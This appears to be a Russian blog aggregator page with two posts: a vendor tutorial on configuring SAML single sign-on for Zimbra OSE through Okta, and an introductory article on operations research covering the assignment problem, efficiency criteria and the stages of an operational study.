Технология единого входа обладает массой преимуществ по сравнению с классическими методами аутентификации, главное из которых заключается в том, что именно SSO обеспечивает наилучший баланс между удобством пользователя и информационной безопасностью предприятия. Ранее мы уже рассказывали о том, как реализовать SSO в Zimbra OSE при использовании аутентификации в Active Directory с помощью Kerberos. На этот раз мы расскажем о том, как внедрить Zimbra OSE другую технологию единого входа SAML на примере провайдера Okta.

image

Единый вход с помощью SAML в Zimbra OSE доступен только для пользователей Zextras Suite Pro.

Подготовка к интеграции

В первую очередь для включения интеграции в SAML, необходимо пропатчить NGINX. Для этого в папке /opt/zimbra/conf/nginx/templates/ отредактируйте поочередно файлы:

  • nginx.conf.web.http.default.template
  • nginx.conf.web.http.template
  • nginx.conf.web.https.default.template
  • nginx.conf.web.https.template

Во всех файлах в разделе location ^~ /zx/ замените содержимое на

location ^~ /zx/

{

proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

proxy_set_header Host $http_host;

proxy_set_header X-Forwarded-Proto $scheme;

proxy_set_header X-Forwarded-Port $server_port;

proxy_pass ${web.upstream.zx};

}


Эти изменения нужны для того, чтобы составлять полноценные URL-запросы Protocol X и X-Port.

Также необходимо активировать движок аутентификации от Zextras на уровне домена. Сделать это может администратор сервера, введя в командной строке команду zmprov modifyDomain example.ru zimbraAuthMech custom:zx.

Создание приложения в Okta

В том случае, если вы ранее не использовали SAML для доступа к ресурсам компании, вам придется создать собственное приложение для аутентификации пользователей. Для того, чтобы создать такое приложение в Okta:

1. Зарегистрируйтесь в качестве разработчика на сайте okta.com

2. В личном кабинете нажмите на кнопку Create App Integration



3. В открывшемся списке выберите SAML 2.0 и нажмите Next



4. В следующем окне укажите название своего приложения, выберите иконку и настройте его видимость и нажмите кнопку Next, когда всё будет готово



5. В следующем окне:

  1. В качестве SSO URL укажите адрес вашего сервера с аппендиксом /zx/auth/saml
  2. В качестве Audiend URI укажите адрес вашего сервера с аппендиксом /zx/auth/samlMetadata
  3. В качестве Name ID Format укажите EmailAddress
  4. Нажмите кнопку Next



6. В мини-опросе выберите первый вариант ответа и нажмите кнопку Finish



7. Скачайте метаданные своего приложения SAML



Если у вас уже есть приложение в Okta, просто скачайте файл с метаданными своего приложения.

Экспорт учетных записей из домена Zimbra OSE

Приложение SAML поддерживает как создание новых учетных записей, так и импортирование уже существующих из Zimbra. Для того, чтобы импортировать учетные записи, необходимо сперва экспортировать их из Zimbra в формате .csv.

Для экспорта учетных записей перейдите в консоль администратора Zimbra, перейдите во вкладку Поиск и осуществите поиск по пользователям с названием домена в поисковом запросе. Результатом поиска будет полный список пользователей домена, который можно выгрузить в формате CSV, нажав на иконку Дополнительные настройки в правом верхнем углу и выбрав раздел Загрузить



Импортируйте полученный CSV в приложение SAML с помощью соответствующего инструмента в личном кабинете разработчика.

Интеграция приложения в Zimbra OSE

Чтобы интегрировать приложение SAML в Zimbra OSE, вам потребуются данные из скачанного ранее файла с метаданными приложения.

Интеграцию можно провести в автоматическом режиме, просто указав в настройках расположение файла с метаданными, так и вручную, добавив все необходимые данные в файл конфигурации.

Для того, чтобы выполнить интеграцию в автоматическом режиме, введите команду zxsuite auth saml import example.ru url dev-3299935.okta.com/app/exkvjcggn7C7jrhc75d6/sso/saml/metadata. Если вы используете собственный сервер SAML с самоподписанными сертификатами, используйте параметр allow_insecure true для пропуска проверки подлинности SSL-сертификата.

Чтобы провести интеграцию в ручном режиме, экспортируйте настройки SAML по умолчанию при помощью команды zxsuite auth saml get example.ru export_to /tmp/saml.json. Откройте полученный файл /tmp/saml.json в любом редакторе и добавьте в него следующие данные, заменяя строки отмеченные знаками >> << данными из файла с метаданными. В нашем случае добавленные строки будут выглядеть следующим образом:

sp.nameidformat:urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress ,
sp.entityid: >>example.ru/zx/auth/samlMetadata?domain=example.ru<<,
sp.assertion_consumer_service.url: >>example.ru/zx/auth/saml<<,
idp.single_sign_on_service.url: >>dev-3299935.okta.com/app/dev-3299935_zextrassamlintegration_1/exkvjcggn7C7jrhc75d6/sso/saml<<,
idp.entityid: >>www.okta.com/exkvjcggn7C7jrhc75d6<<,
idp.x509cert: >>MIIDpjCCAo6gAwIBAgIGAXmC9e8bMA0GCSqGSIb3DQEBCwUAMIGTMQswCQYDVQQGEwJVUzETMBEG A1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzENMAsGA1UECgwET2t0YTEU MBIGA1UECwwLU1NPUHJvdmlkZXIxFDASBgNVBAMMC2Rldi0zMjk5OTM1MRwwGgYJKoZIhvcNAQkB Fg1pbmZvQG9rdGEuY29tMB4XDTIxMDUxOTA0NDkyNloXDTMxMDUxOTA0NTAyNlowgZMxCzAJBgNV BAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRYwFAYDVQQHDA1TYW4gRnJhbmNpc2NvMQ0wCwYD VQQKDARPa3RhMRQwEgYDVQQLDAtTU09Qcm92aWRlcjEUMBIGA1UEAwwLZGV2LTMyOTk5MzUxHDAa BgkqhkiG9w0BCQEWDWluZm9Ab2t0YS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB AQCOJA7bhf/LO89VpuGTHur77RbwKlJg3Eni/P4JKowSVrQD6PghwprCdzThyTsKWcHwESZoYwEL WdrZ6CVzDZWAegWJnaJivfiFlFjsEZ15UHOGizMBM3VI0ePWjaWJ6O2DM9BID2mGULnXUDbQXbf6 rE1EHxzlxzCKIBWmT8ut/JsA/lmBm0YNi4BKfP06KXCLianxoH+fEETNd/NH2mXwgHdxMV1BS/mm TAHSJtkDfWxTM+dTGngrjMANKvmChGjSO1ZXFs/pm+vx0o6ffYcoeXnfgodBX3FZ7aTFBTk0s5Se Wms1utjfa8qhHbrolErqqIc1PPBngEFvzcLjFAfRAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAByU jjdAc5tdH+QFAHS0CJNYa9VNaapxuEFrlR3ZdAztIaczKUqYfHqHdXuDHYCjdHXhLFHwntBsnphk M2sk8D2zG0wpoYsEA3IrvbXoTwwqDzACpLF37S7Pfn0RjE5IvvJ9WP4DoZa9ikM/p0N+H7fpqkU2 xavoiNGOMqot9xpWrytM0P+luXereriOOzVaBS1+DuhA4INhze5luyc52X18T4HrJ3iGivfXR2os L8/PI4gZwR956Ju8tDEcmFVCelLN4FlN3ITogPK+SyKHhlTBuSGHidrGKQJBRmkLhk6lhKWTHjWP mI88ECqrA63+QvxU4KRUl1zzRgKVwrgzos4=<<

Сохраните внесенные в файл изменения и импортируйте его в Zimbra OSE с помощью команды zxsuite auth saml import example.ru /tmp/saml.json



После осуществления всех описанных действий на странице входа веб-клиента Zimbra OSE появится кнопка Вход SAML, при нажатии на которую сервер обратится к приложению SAML с запросом об аутентификации пользователя. В случае, если приложение подтвердит подлинность входа, пользователь попадет в свою учетную запись без ввода каких-либо аутентификационных данных. При этом оставляется возможность для входа пользователя по логину и паролю.

По всем вопросам, связанными c Zextras Suite Pro и Team Pro вы можете обратиться к Представителю компании Zextras Technology Екатерине Триандафилиди по электронной почте ekaterina.triandafilidi@zextras.com
Подробнее..

Исследование операций

16.06.2021 16:13:28 | Автор: admin
Cодержание
  1. Введение

  2. Основные понятия и термины

  3. Характеристика ИО как научной дисциплины

  4. Этапы операционного исследования

    • Постановка задачи

    • Построение математической модели

    • Нахождение решения с помощью математической модели

    • Проверка модели и решения

    • Построение процедуры подстройки и решения

    • Осуществление решения

  5. Предметные процессы ИО и задачи

    • Процессы обслуживания

    • Распределения

    • Управления запасами

    • Замены

    • Состязательные

  6. Модели процессов ИО и их логическая структура

    • Постановка задачи

    • Элементы задачи ИО

    • Взаимодействие исполнения и управления при ИО

  7. Литература

Введение

При функционировании больших сложно устроенных систем в них, как правило, протекают многообразные процессы, сущность которых состоит в различного рода преобразованиях физико-химической субстанции из сырья в конечный продукт, поставляемый на рынок. Наряду с материальной субстанцией в производственных процессах широко используется информация управленческая и технологическая. Когда-то не в столь давние времена достаточно сложным механизмом, системой считался часовой механизм, реализуемый зацеплением шестеренок. Механизм преобразовывал временную субстанцию в информацию. Выходным продуктом такого механизма была информация - сведения о текущем временном моменте, к точности которой уже в те времена предъявлялись жесткие требования. Все процессы сложных производственных систем также, подобно механизму часов, постоянно должны быть в "зацеплении", тесно взаимодействовать, протекать синхронно и согласованно. Главным требованием к такой системе с шестеренками была точность отсчетов временных промежутков. И сегодня точность нужна везде от водных, наземных, воздушных транспортных систем до спутниковых космических, атомных энергетических станций. Исследуя операции, следует помнить об истории их появления и проявления в различных отраслях хозяйства и производства.

Начнем с рассмотрения типичной простой и понятной задачи. Пусть в пределах населенного пункта в точках 0, х1) имеется n складов с товарами. На каждом складе припаркован под погрузку автоприцеп, который загружается товарами. В других точках 0, х1) района (окрестности населенного пункта) размещаются заказчики (потребители товаров), которым необходимо эти товары доставить. В n точках 0, х1) размещены n тягачей, которые должны доставить заказчикам загруженные товарами по их заявкам автоприцепы. Такая доставка связана с расходом топлива, с затратами времени и многими другими явлениями и событиями.

Владелец транспортных средств располагает матрицей:

С = [c_{ij}], i = 1(1)n, j = 1(1)n,

стоимости (затрат) топлива в операции перевозки.

Очевидно, что в операции желательно ограничить расход топлива при условии выполнения доставки товаров всем заказчикам. Математическая модель затрат представляется простой линейной формой:

Q(X[i,j]) = \sum_{i=1}^{n}\sum_{j=1}^{n}{c_{ij}x_{ij}} min.

Это соотношение называют целевой функцией (ЦФ). Неизвестными здесь являются переменные (xij) , т.е. куда тягач с номером (i) должен доставить груженый прицеп с номером (j). Ясно, что суммарные затраты будут определяться планом Х[i, j] перевозок или выбором переменных (xij) в совокупности. Постоянно будем иметь ввиду очевидное ограничивающее условие: один тягач везет один прицеп, каждый прицеп обслуживается одним тягачом. Из этого условия следует, что каждый элемент (xij), выбираемый для подстановки в ЦФ, не может быть дробным значением, а принимает одно из значений 0 или 1, т.е. (xij 0, i = 1(1)n, j = 1(1)n).Приведенное выше условие интерпретируется в модели как ограничения, накладываемые напеременные (xij).

(i = 1) х1112 ++ х1j + + x1n = 1, j = 1(1)n;

(i = 2) х2122 ++ х2j + + x2n = 1, j = 1(1)n;

(i = 3) х3132 ++ х3j + + x3n = 1, j = 1(1)n;

.. .

(i = i) хi1 + хi2 + + хij + + x in = 1, j = 1(1)n;

. .. .. . . .. .

(i = n) хn1n2 ++ хnj + + x nn = 1; j = 1(1)n.

Каждая (i-я) строка обозначает возможность прибытия на (j-й) склад любого (j-го) из (n) тягачей и представляется суммой, в которой будет выбран один единственный элемент (xij = 1). Относительно столбцов j = 1(1)n системы уравнений также составляются суммы, и каждая из таких сумм также равна единице. В столбцовых суммах также выбирается единственный элемент(xij = 1) Таким образом, будет выбрана таблица (0,1-матрица), заполненная единицами и нулями, но так, что в каждой строке и в каждом столбце оказывается единственная единица. Такие матрицы в математической статистике называются дважды стохастическими. Каждая матрица реализует план Х перевозок и ему соответствует определенное (после подстановки переменных плана в выражение целевой функции) значение ЦФ. Сколько же планов-решений Х можно построить? Это легко посчитать. Первый тягач можно направить в любой из n складов, но второму тягачу будут доступны только n1 складов, третьему n2 складов. Этим трем тягачам соответствует n(n1)(n2) количество планов равное произведению трех сомножителей. Далее число возможностей выбора склада будет сокращаться (для 4-го тягача только n3 выборов), а для последнего nго тягача останется единственная возможность, так как все остальные склады уже распределены между n1 тягачами, всего планов будет |Х[i, j]|= n! Например, если n = 20, то

|Х[i, j]| = 20! = 2 432 902 008 176 640000.

Это 20-ти значное число показывает, что простой перебор хоть и решает все задачи дискретного программирования, но жизни нескольких поколений не хватит, чтобы такой перебор выполнить. Хотя тягачей и складов всего по 20 штук, но самые совершенные компьютеры "повиснут" на подобных вычислениях. Подобная картина в настоящее время имеет место в криптографии. Путем подстановки пробного ключа в дешифратор на выходе можно в случае успеха получить исходный открытый текст. Но ожидать этого, право не стоит. Среди моих публикаций есть одна, где ключ шифра раскрывается за три шага. Но это скорее промах автора примера, который я использовал из пособия для подготовки криптографов, чем везение или мое уменье проводить атаку на шифр. По аналогии с диагональной матрицей (единицы расставлены на главной диагонали) все дважды стохастические матрицы называют диагональными.

В терминах задачи конкретная диагональная матрица Х называется планом-решением. Множество возможных планов классифицируется: планы игнорирующие ограничения называются возможными, планы, учитывающие ограничения (не нарушающие ограничений), называются допустимыми, а подмножество допустимых планов, доставляющее целевой функции экстремум называются оптимальными планами.

Основные понятия и термины ИО

Операция это организуемое мероприятие (система действий), объединенное единым замыслом, обеспеченное средствами, ресурсами, усилиями и направленное к достижению определенной сформулированной цели.

Цель это описание желаемого состояния или запланированного результата деятельности, на создание (получение) которого направлены ресурсы, усилия. Чаще всего цель или цели (дерево целей) оформляются в форме требуемых значений различных показателей (в ТТЗ на НИР, ОКР и др.)

Модель условный образ реального объекта (операции), отражающий его существенные свойства физический или абстрактный: скульптура, барельеф, игрушки, фотография, карта, схема, рисунок, формула, уравнение, система уравнений, неравенств, граф, сеть, совокупность формул, схем и текста.

Решение это какой-то конкретный выбор из полного ряда возможностей (ограничения задачи не учитываются).

Допустимые решения - те решения, которые удовлетворяют наложенным в задаче ограничениям.

Оптимальными решениями являются те допустимые решения, которые по тем или иным соображениям предпочтительнее других и доставляют экстремальные значения ПЭ. Поэтому основной задачей исследования операций является предварительное количественное обоснование оптимальных решений. Предъявление требования к вероятности выполнения задачи одно из главных при организации исследования. Необходимость принятия решения диктуется наличием цели, которую нужно достичь, например, выполнить плановое задание, выбрать тип прибора, построить план перевозок. Если же цель поставлена или фактическое состояние не соответствует желаемому, то имеет место проблемная ситуация, процесс выработки плана устранения которой и составляет сущность задачи принятия решений.Результат операции зависит от способа ее проведения, организации, т.е. от выбора определенных параметров.

Принятие решений обычно выходит за рамки исследования операций и относится к компетенции ответственного лица, чаще группы лиц, которым предоставлено право окончательного выбора и на которых возложена ответственность за этот выбор. Делая выбор, они могут учитывать, наряду с рекомендациями, вытекающими из математического расчета, еще ряд соображений (количественного и качественного характера), которые этим расчетом не были учтены.

Эффективность операции степень ее приспособленности к выполнению задачи, часто измеряется вероятностью выполнения задачи, количественно выражается значением показателя целевой функции.

Чтобы сравнивать между собой по эффективности разные системы, решения нужно выбрать, т.е. назначить в модели какой-то количественно измеряемый показатель, так называемый

Показатель эффективности (ПЭ) его часто называют целевой функцией задачи. Этот показатель выбирается так, чтобы он отражал целевую направленность операции. Лучшим будет считаться то решение, которое в максимальной степени способствует достижению поставленной цели.

Большие промышленные, экономические и военные системы с середины прошлого века стали пристально изучаемым объектом в научных исследованиях особенно в области управления системами, в военном деле. Примером объекта в классе больших систем можно назвать такой, в котором объединяются системы организационного управления, решающие задачи руководства производственными и другими процессами и системами.

Критерий эффективности (КЭ) правило, обеспечивающее фиксирование итогового успешного результата исследования. Рассматриваются три типа КЭ: критерий пригодности системы (система удовлетворяет требованиям, предъявляемым к ней); критерий сравнения систем (из двух или более выбирается та, ПЭ которой предпочтительнее); критерий оптимальности (из всех возможных значений ПЭ выбирается экстремальное при условии допустимости решения). Сам ПЭ не является критерием, так как критерий - это правило, обеспечивающее окончательное принятие решения о пригодности, превосходстве или оптимальности процесса (системы). КЭ не вычисляется, а проверяется.

Характеристика научной дисциплины ИО

Исследование операций (ИО) область науки, основанная на применении современных разделов математики и тесно связанная с экономикой, кибернетикой, теорией управления системами и другими науками. Целью ИО является получение оптимальных решений задач, возникающих в процессе функционирования или создания сложных систем, включающих коллективы людей, машины и средства вычислительной техники. ИО это комплекс научных методов, призванных решать задачи организационного управления.

В экономике государств до промышленной революции товарное производство было представлено главным образом мелкими предприятиями, где все руководство осуществлял один человек, сам хозяин. Он делал закупки, планировал и направлял работу, сбывал продукцию, нанимал и увольнял работников. Изменение и рост масштабов производственных систем привел к дифференциации направлений деятельности, произошло разделение труда, а вместе с ним и производственных, и административных функций. Возникли новые разнородные задачи. Важной целью ИО, как дисциплины, возникшей в связи с развитием масштабных промышленных организаций, является обеспечение руководства большими системами научной основой для решения задач, связанных с вопросами взаимодействия различных подразделений систем и организации в интересах общих целей всей организации. Решение, которое представляется наиболее выгодным (предпочтительным) для всей организации в целом, считается оптимальным решением. Эффективность функционирования каждой части в системах зависит от отлаженности механизма в целом, а эффективность работы всего механизма зависит от того, как функционирует каждая часть. Новые понятия такие как заказчик и исполнитель, показатели и критерии эффективности, функции полезности и ограничений приобрели значение и вес, новые термины такие как квалиметрические показатели, аудит производственных систем и процессов и др. стали повседневностью.

Применение научных методов к построению технических (механических) систем и систем человек-машина часто называют анализом систем и ставят знак равенства между ними и ИО. В военной области в определенном смысле конструирование и оценка боевых систем и систем связи является операционным исследованием. Важной и одной из наиболее существенных черт исследования операций является стремление находить оптимальное решение, определять оптимальную стратегию, конструкцию. Задача ИО заключается не в том, чтобы найти решение лучше существующего, а в том, чтобы найти самое лучшее решение из всех возможных. Такое решение на всегда удается получить из-за ограничений, накладываемых современным состоянием и развитием науки, недостатком времени, средств или возможностей. Можно сказать, что ИО в самом общем смысле может быть охарактеризовано как применение научных принципов, методов и средств к задачам, связанным с функционированием организационных систем, с целью предоставить тем, кто управляет этими системами, оптимальные решения.

Предметные процессы ИО и задачи

В зависимости от типов системных процессов методы и средства их реализации можно разнести по нескольким классам. Приводимые ниже примеры процессов и задач дают представление о предметной области теории ИО, но конечно, не исчерпывают их множества и разнообразия.

Процессы обслуживания

Такие процессы порождаются возникновением клиента, требующего обслуживания. Процесс обслуживания при этом характеризуется явлением ожидания. Ждет либо клиент, либо система (редкий случай, когда ожидания отсутствуют). Известно, что все виды ожидания связаны с расходами. Задача заключается в том, чтобы регулировать появление клиентов или определять объем и организацию обслуживания с тем, чтобы свести к минимуму оба вида ожидания и связанные с ними расходы.

Для решения описанной задачи с ожиданиями применима теория очередей. Для задачи определения порядка обслуживания клиентов применима теория расписаний. Наконец, к задачам определения распределения и группировки каналов и других элементов процессов обслуживания в систему обслуживания применима теория балансирования линий.

Процессы распределения

Подобные процессы возникают, когда, во-первых существует ряд операций, которые необходимо выполнить, и ряд различных путей их выполнения, во-вторых, нет в наличии ресурсов или средств, обеспечивающих выполнение каждой из этих операций наиболее эффективным образом.

Задача заключается в соединении операций и ресурсов таким образом, чтобы добиться максимального общего эффекта. При задании одного (из ресурсов или операции) необходимо определить при каком втором в комбинации с заданным первым можно в конечном итоге добиться наибольшего эффекта. Для получения решения применимы теория линейного программирования и другие виды математического программирования.

Процессы управления запасами

Проблемы, связанные с запасами, порождают процессы, требующие либо обоих либо одного из двух решений: во-первых, сколько заказывать (производить или покупать) и во-вторых, когда заказывать. Эти решения требуют регулирования запасов, что связано с затратами по одной или нескольким из следующих статей: заказ или переоборудование; дефицит или задержка; изменение уровня производства или закупок. Для получения решений используются уравнения экономичного размера партии, а также теории линейного, динамического и квадратичного программирования.

Процессы замены

Существуют два основных класса, связанных с видами износа оборудования: во-первых, оно устаревает и становится несовременным (менее эффективным) в результате длительного срока службы, или появления нового оборудования (например, станки), во-вторых, не устаревает, но полностью выходит из строя, гибнет (например, электролампы). Замена шифрключей, алгоритма шифрования требует определения временного интервала несменяемости шифрключа.

Для устаревающих видов оборудования задача заключается в установлении времени замены с тем, чтобы сократить расходы на новое оборудование, на ремонт и эксплуатацию старого или расходы, связанные со снижением производительности оборудования. Задача относительно оборудования полностью вышедшего из строя определить какие элементы следует заменить и как часто их менять с тем, чтобы снизить расходы на оборудование, на замену частей и другие затраты, связанные с выходом из строя.

Состязательные процессы

Процессы, в которых участвуют две или более стороны, как правило, с противоположными интересами называют состязательными. Эффективность решения одной стороны может оказаться сниженной в связи с решением другой стороны. Ситуацию с таким процессом часто называют игрой.

Игры характеризуются количеством участников, правилами игры, сформулированными с учетом всех возможных допустимых действий, некоторым множеством конечных состояний (выигрыш, проигрыш, ничья и т. п.) и наградами или потерями, вызываемыми этими результатами. Решение задач в состязательных процессах обеспечивается теорией игр.

Похожий, но не совпадающий с игрой процесс называется аукционный торг, отличается признаками: количество участников обычно неизвестно, количество партий, как правило, не ограничено, награды и проигрыш заранее неизвестны и могут быть лишь примерно оценены, результат состязания (выигрыш, проигрыш) также неизвестен и может быть только оценен. Теории торгов еще нет, но некоторые полезные средства для решения и этих задач уже имеются.

Этапы операционного исследования

Как можно представить процесс, порядок операционного исследования? Принято в такое исследование включать следующие пункты.

  1. Постановка задачи.

  2. Построение математической модели изучаемой системы

  3. Нахождение решения с помощью модели.

  4. Проверка модели и получение с ее помощью решения.

  5. Построение процедуры подстройки решения.

  6. Осуществление решения.

Постановка задачи (рис.1). Задача должна быть сформулирована с позиции заказчика и исполнителя операционного проекта. Применяется системный подход, тесно связанный с установлением целей. Заказчик это лицо (или группа лиц), которое руководит исследуемыми операциями, т.е. тот кто принимает решение. Предварительно необходимо провести анализ системы, находящейся под управлением заказчика, а также его целей и возможных вариантов действий. Задача исследования заключается в том, чтобы определить какой из возможных вариантов действий наиболее эффективен в отношении множества связанных с проблемой целей. Таким образом, при постановке задачи должен быть установлен некоторый критерий эффективности и определена его пригодность.

Построение математической модели (рис.1). Модель выражает эффективность исследуемой системы как функцию множества переменных, из которых по крайней мере одно поддается управлению. Операционная модель в общем виде может быть представлена соотношением

Е = Аrgextr F(x,y, ui),

где Е показатель эффективности системы; х,у неуправляемые переменные, ui управляемые переменные, F(x,y, ui) - целевая функция модели. Ограничения, накладываемые на переменные модели, выражаются системами равенств или неравенств дополнительно к основному соотношению показателю эффективности модели, Аrgextr F(x,y, ui) критерий эффективности примененный к целевой функции. Следует заметить, что в публикациях авторы критерием эффективности называют показатель эффективности, а критерий вообще опускается из рассмотрения. КЭ, трактуемый как правило (руководство), не измеряется числом. К этим вопросам следует отнести и вопрос о существовании разных шкал для проведения измерений с учетом отношения, отвечающего той или иной шкале.

Таблица шкал измерений переменных и отношения (МО - метризованное отношение)Таблица шкал измерений переменных и отношения (МО - метризованное отношение)

Вычисления в рамках модели могут выполняться аналитическими или численными методами. Первые выполняются подстановкой значений переменных в формулы, полученные на основе выводов в рамках модели или на основе теорем теории. Численный метод состоит в подборе различных значений для управляемых переменных модели, сопоставлении полученных результатов и выборе того набора значений, который дает наиболее выгодное решение. Численный путь может охватывать широкий диапазон от простого метода проб и ошибок до сложных итераций, которыми пользуются, чтобы подойти к оптимальному решению. При имитационном моделировании для расчетов применяется метод Монте-Карло.

Рисунок 1 Схема постановки задачи и получения логико-структурных решенийРисунок 1 Схема постановки задачи и получения логико-структурных решений

Проверка модели и решения (рис.1). Модель всегда условна и лишь частично отображает действительность. Адекватность модели может быть проверена путем определения степени точности предсказания влияния тех или иных изменений. Хорошей считается та модель, которая несмотря на свою неполноту, может достаточно точно предсказывать влияние изменений в системе на общую эффективность всей системы. Модельное решение может быть оценено путем сопоставления результатов, полученных без использования данного решения, и результатов, полученных при его применении. Оценки могут проводиться ретроспективно с использованием ранее полученных данных или путем практических испытаний и предварительных проверок. Именно проверка при тщательном анализе данных обеспечивает правильный вывод о том, какие данные являются существенными для системы и ее эффективного функционирования, а какие нет.

Построение процедуры подстройки решения (рис.2). При изменении одной или более неуправляемых переменных, либо изменении одного или более отношений между переменными существенно изменилось модельное решение выходит из под контроля и утрачивается возможность управлять этим решением. В этих ситуациях решение необходимо подстраивать. Для этой цели надо разработать средства определения того, когда возникают существенные изменения: также должны быть установлены правила такой модификации решения, которая учитывала бы изменения.

Осуществление решения (рис.2). Проверенное во всех отношениях решение представляется для последующего применения в виде ряда рабочих процедур, которые могут быть легко поняты и применены теми, кому поручено их осуществлять. Существующие процедуры при этом как и ресурсы должны быть изменены. Перечень перечисленных этапов практически никогда не реализуется так как предписано. Некоторые этапы выполняются совместно, некоторые в измененной последовательности. Все части системы постоянно взаимодействуют друг с другом, влияют на процессы и часто на саму формулировку задачи, приводя к ее корректировке.

Методы реализации процессов ИО и их логическая структура

Рене Декарт, описывая развитый им метод научного исследования, формулирует четыре основных его правила [3].

  1. Разбиение сложной проблемы на более простые последовательно до тех пор, пока не будут найдены далее неразложимые компоненты.

  2. Нерешенные проблемы следует сводить к решенным. Этим путем находятся решения простых проблем.

  3. От решения простых проблем следует переходить к решению более сложных, пока не будет получено решение проблемы, которая являлась исходной при разбиении и является конечной в данном процессе.

  4. После получения решения исходной проблемы необходимо рассмотреть все промежуточные, чтобы удостовериться, не пропущены ли какие-нибудь звенья. В случае, когда полнота решения установлена, то исследование завершается; при обнаружении пробела в решении необходимо дополнительное исследование в соответствии с перечисленными правилами. Метод рекомендуется применять всегда при разработке операций

Следует сказать несколько слов о логике исследований и методологических понятиях [2}. В методологии науки разработаны общие понятия для описания конкретных методов и проводимых в их рамках процессов научного исследования. Эти описания играют важную роль при выявлении связей между различными методами в составе сложных исследований. Поэтому необходимо использовать эти понятия для методологического описания логики проводимых исследований.

Так проверка и корректировка гипотез производятся с помощью хорошо известных пяти методов индукции, создание и развитие которых связано с именами Ф. Бэкона и Дж. Милля [4, 5].

Рисунок 2 Логическая структура проверки гипотез и процесса логико-структурных решенийРисунок 2 Логическая структура проверки гипотез и процесса логико-структурных решений

Причинная связь явлений устанавливается методами единственного сходства (на основе фактов, полученных в наблюдении), единственного различия ( на основе фактов, полученных в эксперименте), объединенным методом (на основе совместно используемых фактов обоих видов). Метод остатков применяется при выявлении неизвестной причины изучаемого явления, а с помощью метода сопутствующих изменений анализируется динамика причинных зависимостей [6, 7 , 9].

Постановка задачи

Начало любого исследования постановка задачи, более того, существует мнение, что половину успеха в деле составляет удачная или правильная постановка задачи. В действительности все не совсем так. Часто не сформулировав задачу в завершенном виде, переходят к следующей стадии формированию модели системы и процессов, протекающих в ней. К постановке задачи возвращаются многократно, корректируют ее элементы и собственно формулировку, т.е. по ходу процесса исследования задача непрерывно меняется и уточняется. Это продолжается вплоть до получения решения задачи. Иногда до момента завершения исследований неизвестно, правильно ли была поставлена задача, и тогда вопрос так и остается открытым.

При проведении исследований обычно стремятся скорее включиться в работу, но не надо торопиться следует руководствоваться некоторыми стандартными процедурами постановки задачи и выделять для этого определенное время. Здесь рассмотрим идеализированный процесс постановки задачи, который является наилучшим из существующих, при условии, что нет никаких ограничений. На самом деле на практике редко встречаются такие идеализированные условия.

Дело в том, что ИО предполагает исследование экономики операций, не исключая при этом своих собственных операций. Неправильные представления об экономической стороне дела создают представления о различиях между реальным процессом и идеализированным. Эти различия не являются чисто белым и\или черным, а определяются чаще всего экономическими соображениями.

Практики стремятся удешевить схему (в рамках проведения тендера, антимонопольное ведомство не спит), что удается сделать относительно близких тактических целей, но теряется ощущение стратегического восприятия, что в итоге обходится дороже. Идеальный подход, наоборот, во главу угла ставит стратегические вопросы, минимизируя затраты времени и средств, но в тактических вопросах сопряжен с большими расходами. Правильное экономическое решение удачный компромисс между затратами, связанными с достижением тактических и стратегических целей. Важны точное знание идеального решения необходимость и понимание того к чему следует стремиться. Недооценивание возможностей идеального решения может дорого обойтись впоследствии.

Элементы задачи ИО

Рассмотрим в деталях элементы задачи. Очевидно, что перед руководителем или группой лиц должна стоять задача. Эти люди не удовлетворены положением дел в какой-то предметной области и стремятся найти решение, чтобы изменить ситуацию в лучшую сторону. Назовем такую группу или отдельного руководителя лицом, принимающим решение (ЛПР). Таким образом, первым элементом задачи является лицо, принимающее решение (часто это заказчик).

Во-вторых, для существования задачи необходимо, чтобы человек, принимающий решение, желал изменить положение, т.е. должны быть понятными некоторые цели, которых надо достичь. Цели, по существу это требования к выходному эффекту системы. Цели второй элемент задачи.

Втретьих, задача связана с какими-то условиями или средой, в которой учитывается наличие или отсутствие различных ресурсов. Такой средой в задачах исследования операций обычно является организационная система, включающая людей и машины. Система или среда является третьим элементом задачи.

В-четвертых, необходима (должна существовать) возможность выбора между различными (по крайней мере двумя) способами действия или политиками. При отсутствии выбора задача не возникает. Задача всегда включает вопрос: что делать? Но сам этот вопрос становится задачей только в том случае, если существуют различные пути достижения цели. Различные способы действия (стратегии) являются четвертым элементом задачи.

Чтобы сформулировать исследовательскую задачу, необходимо выполнить следующие операции.

  1. Уточнить перечень целей, определенных на первом этапе постановки задачи.

  2. Уточнить перечень различных стратегий достижения целей.

  3. Определить меру (показатель и критерий) эффективности исследуемой системы.

Взаимодействие исполнения и управления при ИО

Планирующая система связывает объект управления с управляющими органами. В процессе деятельности объекта (рис. 3) происходит преобразование одного состояния объекта в другое (10), что зависит от изменения внешних обстоятельств (9) и предписаний (8), вырабатываемых органами управления на основании плановых представлений объекта (5) и оценок текущего состояния объекта управления (7). Оценки вырабатываются на основании показателей и критериев эффективности (5) и информации (6) от объекта управления. Вся эта цепочка определяет один такт в преобразовании объекта из одного состояния в другое. Для каждого такта необходима своя часть плана. Поэтому после выполнения одного такта в самом плане управление передается следующей его части, что обозначается стрелкой (2) на рис. 3.

Настройка плана на объект осуществляется с помощью информации (стрелки 1 и 4) об объекте управления и плановых органах. Все текстовые предложения, входящие в планы, подразделяются на два вида дескриптивные (описывающие) и прескриптивные (предписывающие). С помощью первых представляются состояния, отражаемых в плане объектов, а вторые - служат для выражения предписаний по использованию того или иного способа перехода из одного состояния в другое. Посредством выделения предложений рассматриваемых видов определяются семантические свойства планов.

Такая настройка состоит в выборе дескриптивных и прескриптивных частей плана, которые отвечают требованиям текущего момента. Именно здесь могут выбираться способы перехода, варианты, категории и т. д. В этой настройке определенную роль играет получение информации от окружающей среды (3).

Рисунок 3 План и его связи с частями объектаРисунок 3 План и его связи с частями объекта

Итак, логическая структура планов, их синтаксические и семантические характеристики непосредственно связаны с обобщенным анализом поведения соответствующих объектов. Оно представляется как чередование двух операций тактов преобразований состояний объектов управления и настройки планов на их объекте. На практике это позволяет проводить логический анализ процессов реализации планов как процессов применения знаний.

Литература

1.Азгальдов Г. С., Райхман Э. П. О квалиметрии. М.: Изд. Стандартов, 1973.172 с.

